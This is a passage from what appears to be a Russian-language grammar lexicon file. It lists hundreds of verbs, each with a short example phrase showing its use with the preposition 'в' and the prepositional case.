rus_verbs:преуспеть{}, // преуспеть в бизнесе rus_verbs:заерзать{}, // заерзать в кресле rus_verbs:разъяснить{}, // разъяснить в другой статье rus_verbs:продвинуться{}, // продвинуться в изучении rus_verbs:поколебаться{}, // поколебаться в начале rus_verbs:засомневаться{}, // засомневаться в честности rus_verbs:приникнуть{}, // приникнуть в уме rus_verbs:скривить{}, // скривить в усмешке rus_verbs:рассечь{}, // рассечь в центре опухоли rus_verbs:перепутать{}, // перепутать в роддоме rus_verbs:посмеяться{}, // посмеяться в перерыве rus_verbs:отмечаться{}, // отмечаться в полицейском участке rus_verbs:накопиться{}, // накопиться в отстойнике rus_verbs:уносить{}, // уносить в руках rus_verbs:навещать{}, // навещать в больнице rus_verbs:остыть{}, // остыть в проточной воде rus_verbs:запереться{}, // запереться в комнате rus_verbs:обогнать{}, // обогнать в первом круге rus_verbs:убеждаться{}, // убеждаться в неизбежности rus_verbs:подбирать{}, // подбирать в магазине rus_verbs:уничтожать{}, // уничтожать в полете rus_verbs:путаться{}, // путаться в показаниях rus_verbs:притаиться{}, // притаиться в темноте rus_verbs:проплывать{}, // проплывать в лодке rus_verbs:засесть{}, // засесть в окопе rus_verbs:подцепить{}, // подцепить в баре rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок rus_verbs:оправдаться{}, // оправдаться в суде rus_verbs:созреть{}, // созреть в естественных условиях rus_verbs:раскрываться{}, // раскрываться в подходящих условиях rus_verbs:ожидаться{}, // ожидаться в верхней части rus_verbs:одеваться{}, // одеваться в дорогих бутиках rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта rus_verbs:грабить{}, // грабить в подворотне rus_verbs:ужинать{}, // ужинать в ресторане rus_verbs:гонять{}, // гонять в жилах rus_verbs:уверить{}, // уверить в безопасности rus_verbs:потеряться{}, // потеряться в лесу rus_verbs:устанавливаться{}, // устанавливаться в комнате rus_verbs:предоставлять{}, // предоставлять в суде rus_verbs:протянуться{}, // протянуться в стене rus_verbs:допрашивать{}, // допрашивать в бункере rus_verbs:проработать{}, // проработать в кабинете rus_verbs:сосредоточить{}, // сосредоточить в своих руках rus_verbs:утвердить{}, // утвердить в должности rus_verbs:сочинять{}, // сочинять в дороге rus_verbs:померкнуть{}, // померкнуть в глазах rus_verbs:показываться{}, // показываться в окошке rus_verbs:похудеть{}, // похудеть в талии rus_verbs:проделывать{}, // проделывать в стене rus_verbs:прославиться{}, // прославиться в интернете rus_verbs:сдохнуть{}, // сдохнуть в нищете rus_verbs:раскинуться{}, // раскинуться в степи rus_verbs:развить{}, // развить в себе способности rus_verbs:уставать{}, // уставать в цеху rus_verbs:укрепить{}, // укрепить в земле rus_verbs:числиться{}, // числиться в списке rus_verbs:образовывать{}, // образовывать в смеси rus_verbs:екнуть{}, // екнуть в груди rus_verbs:одобрять{}, // одобрять в своей речи rus_verbs:запить{}, // запить в одиночестве rus_verbs:забыться{}, // забыться в тяжелом сне rus_verbs:чернеть{}, // чернеть в кислой среде rus_verbs:размещаться{}, // размещаться в гараже rus_verbs:соорудить{}, // соорудить в гараже rus_verbs:развивать{}, // развивать в себе rus_verbs:пастись{}, // пастись в пойме rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы rus_verbs:ослабнуть{}, // ослабнуть в сочленении rus_verbs:таить{}, // таить в себе инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке rus_verbs:приостановиться{}, // приостановиться в конце rus_verbs:топтаться{}, // топтаться в грязи rus_verbs:громить{}, // громить в финале rus_verbs:заменять{}, // заменять в основном составе rus_verbs:подъезжать{}, // подъезжать в колясках rus_verbs:вычислить{}, // вычислить в уме rus_verbs:заказывать{}, // заказывать в магазине rus_verbs:осуществить{}, // осуществить в реальных условиях rus_verbs:обосноваться{}, // обосноваться в дупле rus_verbs:пытать{}, // пытать в камере rus_verbs:поменять{}, // поменять в магазине rus_verbs:совершиться{}, // совершиться в суде rus_verbs:пролетать{}, // пролетать в вертолете rus_verbs:сбыться{}, // сбыться во сне rus_verbs:разговориться{}, // разговориться в отделении rus_verbs:преподнести{}, // преподнести в красивой упаковке rus_verbs:напечатать{}, // напечатать в типографии rus_verbs:прорвать{}, // прорвать в центре rus_verbs:раскачиваться{}, // раскачиваться в кресле rus_verbs:задерживаться{}, // задерживаться в дверях rus_verbs:угощать{}, // угощать в кафе rus_verbs:проступать{}, // проступать в глубине rus_verbs:шарить{}, // шарить в математике rus_verbs:увеличивать{}, // увеличивать в конце rus_verbs:расцвести{}, // расцвести в оранжерее rus_verbs:закипеть{}, // закипеть в баке rus_verbs:подлететь{}, // подлететь в вертолете rus_verbs:рыться{}, // рыться в куче rus_verbs:пожить{}, // пожить в гостинице rus_verbs:добираться{}, // добираться в попутном транспорте rus_verbs:перекрыть{}, // перекрыть в коридоре rus_verbs:продержаться{}, // продержаться в барокамере rus_verbs:разыскивать{}, // разыскивать в толпе rus_verbs:освобождать{}, // освобождать в зале суда rus_verbs:подметить{}, // подметить в человеке rus_verbs:передвигаться{}, // передвигаться в узкой юбке rus_verbs:продумать{}, // продумать в уме rus_verbs:извиваться{}, // извиваться в траве rus_verbs:процитировать{}, // процитировать в статье rus_verbs:прогуливаться{}, // прогуливаться в парке rus_verbs:защемить{}, // защемить в двери rus_verbs:увеличиться{}, // увеличиться в объеме rus_verbs:проявиться{}, // проявиться в результатах rus_verbs:заскользить{}, // заскользить в ботинках rus_verbs:пересказать{}, // пересказать в своем выступлении rus_verbs:протестовать{}, // протестовать в здании парламента rus_verbs:указываться{}, // указываться в путеводителе rus_verbs:копошиться{}, // копошиться в песке rus_verbs:проигнорировать{}, // проигнорировать в своей работе rus_verbs:купаться{}, // купаться в речке rus_verbs:подсчитать{}, // подсчитать в уме rus_verbs:разволноваться{}, // разволноваться в классе rus_verbs:придумывать{}, // придумывать в своем воображении rus_verbs:предусмотреть{}, // предусмотреть в программе rus_verbs:завертеться{}, // завертеться в колесе rus_verbs:зачерпнуть{}, // зачерпнуть в ручье rus_verbs:очистить{}, // очистить в химической лаборатории rus_verbs:прозвенеть{}, // прозвенеть в коридорах rus_verbs:уменьшиться{}, // уменьшиться в размере rus_verbs:колыхаться{}, // колыхаться в проточной воде rus_verbs:ознакомиться{}, // ознакомиться в автобусе rus_verbs:ржать{}, // ржать в аудитории rus_verbs:раскинуть{}, // раскинуть в микрорайоне rus_verbs:разлиться{}, // разлиться в воде rus_verbs:сквозить{}, // сквозить в словах rus_verbs:задушить{}, // задушить в объятиях rus_verbs:осудить{}, // осудить в особом порядке rus_verbs:разгромить{}, // разгромить в честном поединке rus_verbs:подслушать{}, // подслушать в кулуарах rus_verbs:проповедовать{}, // проповедовать в сельских районах rus_verbs:озарить{}, // озарить во сне rus_verbs:потирать{}, // потирать в предвкушении rus_verbs:описываться{}, // описываться в статье rus_verbs:качаться{}, // качаться в кроватке rus_verbs:усилить{}, // усилить в центре rus_verbs:прохаживаться{}, // прохаживаться в новом костюме rus_verbs:полечить{}, // полечить в больничке rus_verbs:сниматься{}, // сниматься в римейке rus_verbs:сыскать{}, // сыскать в наших краях rus_verbs:поприветствовать{}, // поприветствовать в коридоре rus_verbs:подтвердиться{}, // подтвердиться в эксперименте rus_verbs:плескаться{}, // плескаться в теплой водичке rus_verbs:расширяться{}, // расширяться в первом сегменте rus_verbs:мерещиться{}, // мерещиться в тумане rus_verbs:сгущаться{}, // сгущаться в воздухе rus_verbs:храпеть{}, // храпеть во сне rus_verbs:подержать{}, // подержать в руках rus_verbs:накинуться{}, // накинуться в подворотне rus_verbs:планироваться{}, // планироваться в закрытом режиме rus_verbs:пробудить{}, // пробудить в себе rus_verbs:побриться{}, // побриться в ванной rus_verbs:сгинуть{}, // сгинуть в пучине rus_verbs:окрестить{}, // окрестить в церкви инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления rus_verbs:замкнуться{}, // замкнуться в себе rus_verbs:прибавлять{}, // прибавлять в весе rus_verbs:проплыть{}, // проплыть в лодке rus_verbs:растворяться{}, // растворяться в тумане rus_verbs:упрекать{}, // упрекать в небрежности rus_verbs:затеряться{}, // затеряться в лабиринте rus_verbs:перечитывать{}, // перечитывать в поезде rus_verbs:перелететь{}, // перелететь в вертолете rus_verbs:оживать{}, // оживать в теплой воде rus_verbs:заглохнуть{}, // заглохнуть в полете rus_verbs:кольнуть{}, // кольнуть в боку rus_verbs:копаться{}, // копаться в куче rus_verbs:развлекаться{}, // развлекаться в клубе rus_verbs:отливать{}, // отливать в кустах rus_verbs:зажить{}, // зажить в деревне rus_verbs:одолжить{}, // одолжить в соседнем кабинете rus_verbs:заклинать{}, // заклинать в своей речи rus_verbs:различаться{}, // различаться в мелочах rus_verbs:печататься{}, // печататься в типографии rus_verbs:угадываться{}, // угадываться в контурах rus_verbs:обрывать{}, // обрывать в начале rus_verbs:поглаживать{}, // поглаживать в кармане rus_verbs:подписывать{}, // подписывать в присутствии понятых rus_verbs:добывать{}, // добывать в разломе rus_verbs:скопиться{}, // скопиться в воротах rus_verbs:повстречать{}, // повстречать в бане rus_verbs:совпасть{}, // совпасть в упрощенном виде rus_verbs:разрываться{}, // разрываться в точке спайки rus_verbs:улавливать{}, // улавливать в датчике rus_verbs:повстречаться{}, // повстречаться в лифте rus_verbs:отразить{}, // отразить в отчете rus_verbs:пояснять{}, // пояснять в примечаниях rus_verbs:накормить{}, // накормить в столовке rus_verbs:поужинать{}, // поужинать в ресторане инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить в молоке rus_verbs:освоить{}, // освоить в работе rus_verbs:зародиться{}, // зародиться в голове rus_verbs:отплыть{}, // отплыть в старой лодке rus_verbs:отстаивать{}, // отстаивать в суде rus_verbs:осуждать{}, // осуждать в своем выступлении rus_verbs:переговорить{}, // переговорить в перерыве rus_verbs:разгораться{}, // разгораться в сердце rus_verbs:укрыть{}, // укрыть в шалаше rus_verbs:томиться{}, // томиться в застенках rus_verbs:клубиться{}, // клубиться в воздухе rus_verbs:сжигать{}, // сжигать в топке rus_verbs:позавтракать{}, // позавтракать в кафешке rus_verbs:функционировать{}, // функционировать в лабораторных условиях rus_verbs:смять{}, // смять в руке rus_verbs:разместить{}, // разместить в интернете rus_verbs:пронести{}, // пронести в потайном кармане rus_verbs:руководствоваться{}, // руководствоваться в работе rus_verbs:нашарить{}, // нашарить в потемках rus_verbs:закрутить{}, // закрутить в вихре rus_verbs:просматриваться{}, // просматриваться в дальней перспективе rus_verbs:распознать{}, // распознать в незнакомце rus_verbs:повеситься{}, // повеситься в камере rus_verbs:обшарить{}, // обшарить в поисках наркотиков rus_verbs:наполняться{}, // наполняется в карьере rus_verbs:засвистеть{}, // засвистеть в воздухе rus_verbs:процветать{}, // процветать в мягком климате rus_verbs:шуршать{}, // шуршать в простенке rus_verbs:подхватывать{}, // подхватывать в полете инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе прилагательное:роившийся{}, прилагательное:роящийся{}, // деепричастие:роясь{ aux stress="ро^ясь" }, rus_verbs:преобладать{}, // преобладать в тексте rus_verbs:посветлеть{}, // посветлеть в лице rus_verbs:игнорировать{}, // игнорировать в рекомендациях rus_verbs:обсуждаться{}, // обсуждаться в кулуарах rus_verbs:отказывать{}, // отказывать в визе rus_verbs:ощупывать{}, // ощупывать в кармане rus_verbs:разливаться{}, // разливаться в цеху rus_verbs:расписаться{}, // расписаться в получении rus_verbs:учинить{}, // учинить в казарме rus_verbs:плестись{}, // плестись в хвосте rus_verbs:объявляться{}, // объявляться в группе rus_verbs:повышаться{}, // повышаться в первой части rus_verbs:напрягать{}, // напрягать в паху rus_verbs:разрабатывать{}, // разрабатывать в студии rus_verbs:хлопотать{}, // хлопотать в мэрии rus_verbs:прерывать{}, // прерывать в самом начале rus_verbs:каяться{}, // каяться в грехах rus_verbs:освоиться{}, // освоиться в кабине rus_verbs:подплыть{}, // подплыть в лодке rus_verbs:замигать{}, // замигать в темноте rus_verbs:оскорблять{}, // оскорблять в выступлении rus_verbs:торжествовать{}, // торжествовать в душе rus_verbs:поправлять{}, // поправлять в прологе rus_verbs:угадывать{}, // угадывать в размытом изображении rus_verbs:потоптаться{}, // потоптаться в прихожей rus_verbs:переправиться{}, // переправиться в лодочке rus_verbs:увериться{}, // увериться в невиновности rus_verbs:забрезжить{}, // забрезжить в конце тоннеля rus_verbs:утвердиться{}, // утвердиться во мнении rus_verbs:завывать{}, // завывать в трубе rus_verbs:заварить{}, // заварить в заварнике rus_verbs:скомкать{}, // скомкать в руке rus_verbs:перемещаться{}, // перемещаться в капсуле инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле rus_verbs:праздновать{}, // праздновать в баре rus_verbs:мигать{}, // мигать в темноте rus_verbs:обучить{}, // обучить в мастерской rus_verbs:орудовать{}, // орудовать в кладовке rus_verbs:упорствовать{}, // упорствовать в заблуждении rus_verbs:переминаться{}, // переминаться в прихожей rus_verbs:подрасти{}, // подрасти в теплице rus_verbs:предписываться{}, // предписываться в законе rus_verbs:приписать{}, // приписать в конце rus_verbs:задаваться{}, // задаваться в своей статье rus_verbs:чинить{}, // чинить в домашних условиях rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке rus_verbs:пообедать{}, // пообедать в ресторанчике rus_verbs:жрать{}, // жрать в чуланчике rus_verbs:исполняться{}, // исполняться в антракте rus_verbs:гнить{}, // гнить в тюрьме rus_verbs:глодать{}, // глодать в конуре rus_verbs:прослушать{}, // прослушать в дороге rus_verbs:истратить{}, // истратить в кабаке rus_verbs:стареть{}, // стареть в одиночестве rus_verbs:разжечь{}, // разжечь в сердце rus_verbs:совещаться{}, // совещаться в кабинете rus_verbs:покачивать{}, // покачивать в кроватке rus_verbs:отсидеть{}, // отсидеть в одиночке rus_verbs:формировать{}, // формировать в умах rus_verbs:захрапеть{}, // захрапеть во сне rus_verbs:петься{}, // петься в хоре rus_verbs:объехать{}, // объехать в автобусе rus_verbs:поселить{}, // поселить в гостинице rus_verbs:предаться{}, // предаться в книге rus_verbs:заворочаться{}, // заворочаться во сне rus_verbs:напрятать{}, // напрятать в карманах rus_verbs:очухаться{}, // очухаться в незнакомом месте rus_verbs:ограничивать{}, // ограничивать в движениях rus_verbs:завертеть{}, // завертеть в руках rus_verbs:печатать{}, // печатать в редакторе rus_verbs:теплиться{}, // теплиться в сердце rus_verbs:увязнуть{}, // увязнуть в зыбучем песке rus_verbs:усмотреть{}, // усмотреть в обращении rus_verbs:отыскаться{}, // отыскаться в запасах rus_verbs:потушить{}, // потушить в горле огонь rus_verbs:поубавиться{}, // поубавиться в размере rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти rus_verbs:смыть{}, // смыть в ванной rus_verbs:заместить{}, // заместить в кресле rus_verbs:угасать{}, // угасать в одиночестве rus_verbs:сразить{}, // сразить в споре rus_verbs:фигурировать{}, // фигурировать в бюллетене rus_verbs:расплываться{}, // расплываться в глазах rus_verbs:сосчитать{}, // сосчитать в уме rus_verbs:сгуститься{}, // сгуститься в воздухе rus_verbs:цитировать{}, // цитировать в своей статье rus_verbs:помяться{}, // помяться в давке rus_verbs:затрагивать{}, // затрагивать в процессе выполнения rus_verbs:обтереть{}, // обтереть в гараже rus_verbs:подстрелить{}, // подстрелить в пойме реки rus_verbs:растереть{}, // растереть в руке rus_verbs:подавлять{}, // подавлять в зародыше rus_verbs:смешиваться{}, // смешиваться в чане инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке rus_verbs:сократиться{}, // сократиться в обхвате rus_verbs:занервничать{}, // занервничать в кабинете rus_verbs:соприкоснуться{}, // соприкоснуться в полете rus_verbs:обозначить{}, // обозначить в объявлении rus_verbs:обучаться{}, // обучаться в училище rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы rus_verbs:лелеять{}, // лелеять в сердце rus_verbs:поддерживаться{}, // поддерживаться в суде rus_verbs:уплыть{}, // уплыть в лодочке rus_verbs:резвиться{}, // резвиться в саду rus_verbs:поерзать{}, // поерзать в гамаке rus_verbs:оплатить{}, // оплатить в ресторане rus_verbs:похвастаться{}, // похвастаться в компании rus_verbs:знакомиться{}, // знакомиться в классе rus_verbs:приплыть{}, // приплыть в подводной лодке rus_verbs:зажигать{}, // зажигать в классе rus_verbs:смыслить{}, // смыслить в математике rus_verbs:закопать{}, // закопать в огороде rus_verbs:порхать{}, // порхать в зарослях rus_verbs:потонуть{}, // потонуть в бумажках rus_verbs:стирать{}, // стирать в холодной воде rus_verbs:подстерегать{}, // подстерегать в придорожных кустах rus_verbs:погулять{}, // погулять в парке rus_verbs:предвкушать{}, // предвкушать в воображении rus_verbs:ошеломить{}, // ошеломить в бою rus_verbs:удостовериться{}, // удостовериться в безопасности rus_verbs:огласить{}, // огласить в заключительной части rus_verbs:разбогатеть{}, // разбогатеть в деревне rus_verbs:грохотать{}, // грохотать в мастерской rus_verbs:реализоваться{}, // реализоваться в должности rus_verbs:красть{}, // красть в магазине rus_verbs:нарваться{}, // нарваться в коридоре rus_verbs:застывать{}, // застывать в неудобной позе rus_verbs:толкаться{}, // толкаться в тесной комнате rus_verbs:извлекать{}, // извлекать в аппарате rus_verbs:обжигать{}, // обжигать в печи rus_verbs:запечатлеть{}, // запечатлеть в кинохронике rus_verbs:тренироваться{}, // тренироваться в зале rus_verbs:поспорить{}, // поспорить в кабинете rus_verbs:рыскать{}, // рыскать в лесу rus_verbs:надрываться{}, // надрываться в шахте rus_verbs:сняться{}, // сняться в фильме rus_verbs:закружить{}, // закружить в танце rus_verbs:затонуть{}, // затонуть в порту rus_verbs:побыть{}, // побыть в гостях rus_verbs:почистить{}, // почистить в носу rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре rus_verbs:подслушивать{}, // подслушивать в классе rus_verbs:сгорать{}, // сгорать в танке rus_verbs:разочароваться{}, // разочароваться в артисте инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках rus_verbs:мять{}, // мять в руках rus_verbs:подраться{}, // подраться в классе rus_verbs:замести{}, // замести в прихожей rus_verbs:откладываться{}, // откладываться в печени rus_verbs:обозначаться{}, // обозначаться в перечне rus_verbs:просиживать{}, // просиживать в интернете rus_verbs:соприкасаться{}, // соприкасаться в точке rus_verbs:начертить{}, // начертить в тетрадке rus_verbs:уменьшать{}, // уменьшать в поперечнике rus_verbs:тормозить{}, // тормозить в облаке rus_verbs:затевать{}, // затевать в лаборатории rus_verbs:затопить{}, // затопить в бухте rus_verbs:задерживать{}, // задерживать в лифте rus_verbs:прогуляться{}, // прогуляться в лесу rus_verbs:прорубить{}, // прорубить во льду rus_verbs:очищать{}, // очищать в кислоте rus_verbs:полулежать{}, // полулежать в гамаке rus_verbs:исправить{}, // исправить в задании rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи rus_verbs:замучить{}, // замучить в плену rus_verbs:разрушаться{}, // разрушаться в верхней части rus_verbs:ерзать{}, // ерзать в кресле rus_verbs:покопаться{}, // покопаться в залежах rus_verbs:раскаяться{}, // раскаяться в содеянном rus_verbs:пробежаться{}, // пробежаться в парке rus_verbs:полежать{}, // полежать в гамаке rus_verbs:позаимствовать{}, // позаимствовать в книге rus_verbs:снижать{}, // снижать в несколько раз rus_verbs:черпать{}, // черпать в поэзии rus_verbs:заверять{}, // заверять в своей искренности rus_verbs:проглядеть{}, // проглядеть в сумерках rus_verbs:припарковать{}, // припарковать во дворе rus_verbs:сверлить{}, // сверлить в стене rus_verbs:здороваться{}, // здороваться в аудитории rus_verbs:рожать{}, // рожать в воде rus_verbs:нацарапать{}, // нацарапать в тетрадке rus_verbs:затопать{}, // затопать в коридоре rus_verbs:прописать{}, // прописать в правилах rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах rus_verbs:снизить{}, // снизить в несколько раз rus_verbs:заблуждаться{}, // заблуждаться в своей теории rus_verbs:откопать{}, // откопать в отвалах rus_verbs:смастерить{}, // смастерить в лаборатории rus_verbs:замедлиться{}, // замедлиться в парафине rus_verbs:избивать{}, // избивать в участке rus_verbs:мыться{}, // мыться в бане rus_verbs:сварить{}, // сварить в кастрюльке rus_verbs:раскопать{}, // раскопать в снегу rus_verbs:крепиться{}, // крепиться в держателе rus_verbs:дробить{}, // дробить в мельнице rus_verbs:попить{}, // попить в ресторанчике rus_verbs:затронуть{}, // затронуть в душе rus_verbs:лязгнуть{}, // лязгнуть в тишине rus_verbs:заправлять{}, // заправлять в полете rus_verbs:размножаться{}, // размножаться в неволе rus_verbs:потопить{}, // потопить в Тихом Океане rus_verbs:кушать{}, // кушать в столовой rus_verbs:замолкать{}, // замолкать в замешательстве rus_verbs:измеряться{}, // измеряться в дюймах rus_verbs:сбываться{}, // сбываться в мечтах rus_verbs:задернуть{}, // задернуть в комнате rus_verbs:затихать{}, // затихать в темноте rus_verbs:прослеживаться{}, // прослеживается в журнале rus_verbs:прерываться{}, // прерывается в начале rus_verbs:изображаться{}, // изображается в любых фильмах rus_verbs:фиксировать{}, // фиксировать в данной точке rus_verbs:ослаблять{}, // ослаблять в поясе rus_verbs:зреть{}, // зреть в теплице rus_verbs:зеленеть{}, // зеленеть в огороде rus_verbs:критиковать{}, // критиковать в статье rus_verbs:облететь{}, // облететь в частном вертолете rus_verbs:разбросать{}, // разбросать в комнате rus_verbs:заразиться{}, // заразиться в людном месте rus_verbs:рассеять{}, // рассеять в бою rus_verbs:печься{}, // печься в духовке rus_verbs:поспать{}, // поспать в палатке rus_verbs:заступиться{}, // заступиться в драке rus_verbs:сплетаться{}, // сплетаться в середине rus_verbs:поместиться{}, // поместиться в мешке rus_verbs:спереть{}, // спереть в лавке // инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде // инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш }, rus_verbs:проваляться{}, // проваляться в постели rus_verbs:лечиться{}, // лечиться в стационаре rus_verbs:определиться{}, // определиться в честном бою rus_verbs:обработать{}, // обработать в растворе rus_verbs:пробивать{}, // пробивать в стене rus_verbs:перемешаться{}, // перемешаться в чане rus_verbs:чесать{}, // чесать в паху rus_verbs:пролечь{}, // пролечь в пустынной местности rus_verbs:скитаться{}, // скитаться в дальних странах rus_verbs:затрудняться{}, // затрудняться в выборе rus_verbs:отряхнуться{}, // отряхнуться в коридоре rus_verbs:разыгрываться{}, // разыгрываться в лотерее rus_verbs:помолиться{}, // помолиться в церкви rus_verbs:предписывать{}, // предписывать в рецепте rus_verbs:порваться{}, // порваться в слабом месте rus_verbs:греться{}, // греться в здании rus_verbs:опровергать{}, // опровергать в своем выступлении rus_verbs:помянуть{}, // помянуть в своем выступлении rus_verbs:допросить{}, // допросить в прокуратуре rus_verbs:материализоваться{}, // материализоваться в соседнем здании rus_verbs:рассеиваться{}, // рассеиваться в воздухе rus_verbs:перевозить{}, // перевозить в вагоне rus_verbs:отбывать{}, // отбывать в тюрьме rus_verbs:попахивать{}, // попахивать в отхожем месте rus_verbs:перечислять{}, // перечислять в заключении rus_verbs:зарождаться{}, // зарождаться в дебрях rus_verbs:предъявлять{}, // предъявлять в своем письме rus_verbs:распространять{}, // распространять в сети rus_verbs:пировать{}, // пировать в соседнем селе rus_verbs:начертать{}, // начертать в летописи rus_verbs:расцветать{}, // расцветать в подходящих условиях rus_verbs:царствовать{}, // царствовать в южной части материка rus_verbs:накопить{}, // накопить в буфере rus_verbs:закрутиться{}, // закрутиться в рутине rus_verbs:отработать{}, // отработать в забое rus_verbs:обокрасть{}, // обокрасть в автобусе rus_verbs:прокладывать{}, // прокладывать в снегу rus_verbs:ковырять{}, // ковырять в носу rus_verbs:копить{}, // копить в очереди rus_verbs:полечь{}, // полечь в степях rus_verbs:щебетать{}, // щебетать в кустиках rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении rus_verbs:посеять{}, // посеять в огороде rus_verbs:разъезжать{}, // разъезжать в кабриолете rus_verbs:замечаться{}, // замечаться в лесу rus_verbs:просчитать{}, // просчитать в уме rus_verbs:маяться{}, // маяться в командировке rus_verbs:выхватывать{}, // выхватывать в тексте rus_verbs:креститься{}, // креститься в деревенской часовне rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты rus_verbs:настигать{}, // настигать в огороде rus_verbs:разгуливать{}, // разгуливать в роще rus_verbs:насиловать{}, // насиловать в квартире rus_verbs:побороть{}, // побороть в себе rus_verbs:учитывать{}, // учитывать в расчетах rus_verbs:искажать{}, // искажать в заметке rus_verbs:пропить{}, // пропить в кабаке rus_verbs:катать{}, // катать в лодочке rus_verbs:припрятать{}, // припрятать в кармашке rus_verbs:запаниковать{}, // запаниковать в бою rus_verbs:рассыпать{}, // рассыпать в траве rus_verbs:застревать{}, // застревать в ограде rus_verbs:зажигаться{}, // зажигаться в сумерках rus_verbs:жарить{}, // жарить в масле rus_verbs:накапливаться{}, // накапливаться в костях rus_verbs:распуститься{}, // распуститься в горшке rus_verbs:проголосовать{}, // проголосовать в передвижном пункте rus_verbs:странствовать{}, // странствовать в автомобиле rus_verbs:осматриваться{}, // осматриваться в хоромах rus_verbs:разворачивать{}, // разворачивать в спортзале rus_verbs:заскучать{}, // заскучать в самолете rus_verbs:напутать{}, // напутать в расчете rus_verbs:перекусить{}, // перекусить в столовой rus_verbs:спасаться{}, // спасаться в автономной капсуле rus_verbs:посовещаться{}, // посовещаться в комнате rus_verbs:доказываться{}, // доказываться в статье rus_verbs:познаваться{}, // познаваться в беде rus_verbs:загрустить{}, // загрустить в одиночестве rus_verbs:оживить{}, // оживить в памяти rus_verbs:переворачиваться{}, // переворачиваться в гробу rus_verbs:заприметить{}, // заприметить в лесу rus_verbs:отравиться{}, // отравиться в забегаловке rus_verbs:продержать{}, // продержать в клетке rus_verbs:выявить{}, // выявить в костях rus_verbs:заседать{}, // заседать в совете rus_verbs:расплачиваться{}, // расплачиваться в первой кассе rus_verbs:проломить{}, // проломить в двери rus_verbs:подражать{}, // подражать в мелочах rus_verbs:подсчитывать{}, // подсчитывать в уме rus_verbs:опережать{}, // опережать во всем rus_verbs:сформироваться{}, // сформироваться в облаке rus_verbs:укрепиться{}, // укрепиться в мнении rus_verbs:отстоять{}, // отстоять в очереди rus_verbs:развертываться{}, // развертываться в месте испытания rus_verbs:замерзать{}, // замерзать во льду rus_verbs:утопать{}, // утопать в снегу rus_verbs:раскаиваться{}, // раскаиваться в содеянном rus_verbs:организовывать{}, // организовывать в пионерлагере rus_verbs:перевестись{}, // перевестись в наших краях rus_verbs:смешивать{}, // смешивать в блендере rus_verbs:ютиться{}, // ютиться в тесной каморке rus_verbs:прождать{}, // прождать в аудитории rus_verbs:подыскивать{}, // подыскивать в женском общежитии rus_verbs:замочить{}, // замочить в сортире rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке rus_verbs:растирать{}, // растирать в ступке rus_verbs:замедлять{}, // замедлять в парафине rus_verbs:переспать{}, // переспать в палатке rus_verbs:рассекать{}, // рассекать в кабриолете rus_verbs:отыскивать{}, // отыскивать в залежах rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке rus_verbs:укрываться{}, // укрываться в землянке rus_verbs:запечься{}, // запечься в золе rus_verbs:догорать{}, // догорать в темноте rus_verbs:застилать{}, // застилать в коридоре rus_verbs:сыскаться{}, // сыскаться в деревне rus_verbs:переделать{}, // переделать в мастерской rus_verbs:разъяснять{}, // разъяснять в своей лекции rus_verbs:селиться{}, // селиться в центре rus_verbs:оплачивать{}, // оплачивать в магазине rus_verbs:переворачивать{}, // переворачивать в закрытой банке rus_verbs:упражняться{}, // упражняться в остроумии rus_verbs:пометить{}, // пометить в списке rus_verbs:припомниться{}, // припомниться в завещании rus_verbs:приютить{}, // приютить в амбаре rus_verbs:натерпеться{}, // натерпеться в темнице rus_verbs:затеваться{}, // затеваться в клубе rus_verbs:уплывать{}, // уплывать в лодке rus_verbs:скиснуть{}, // скиснуть в бидоне rus_verbs:заколоть{}, // заколоть в боку rus_verbs:замерцать{}, // замерцать в темноте rus_verbs:фиксироваться{}, // фиксироваться в протоколе rus_verbs:запираться{}, // запираться в комнате rus_verbs:съезжаться{}, // съезжаться в каретах rus_verbs:толочься{}, // толочься в ступе rus_verbs:потанцевать{}, // потанцевать в клубе rus_verbs:побродить{}, // побродить в парке rus_verbs:назревать{}, // назревать в коллективе rus_verbs:дохнуть{}, // дохнуть в питомнике rus_verbs:крестить{}, // крестить в деревенской церквушке rus_verbs:рассчитаться{}, // рассчитаться в банке rus_verbs:припарковаться{}, // припарковаться во дворе rus_verbs:отхватить{}, // отхватить в магазинчике rus_verbs:остывать{}, // остывать в холодильнике rus_verbs:составляться{}, // составляться в атмосфере тайны rus_verbs:переваривать{}, // переваривать в тишине rus_verbs:хвастать{}, // хвастать в казино rus_verbs:отрабатывать{}, // отрабатывать в теплице rus_verbs:разлечься{}, // разлечься в кровати rus_verbs:прокручивать{}, // прокручивать в голове rus_verbs:очертить{}, // очертить в воздухе rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей rus_verbs:выявлять{}, // выявлять в боевых условиях rus_verbs:караулить{}, // караулить в лифте rus_verbs:расставлять{}, // расставлять в бойницах rus_verbs:прокрутить{}, // прокрутить в голове rus_verbs:пересказывать{}, // пересказывать в первой главе rus_verbs:задавить{}, // задавить в зародыше rus_verbs:хозяйничать{}, // хозяйничать в холодильнике rus_verbs:хвалиться{}, // хвалиться в детском садике rus_verbs:оперировать{}, // оперировать в полевом госпитале 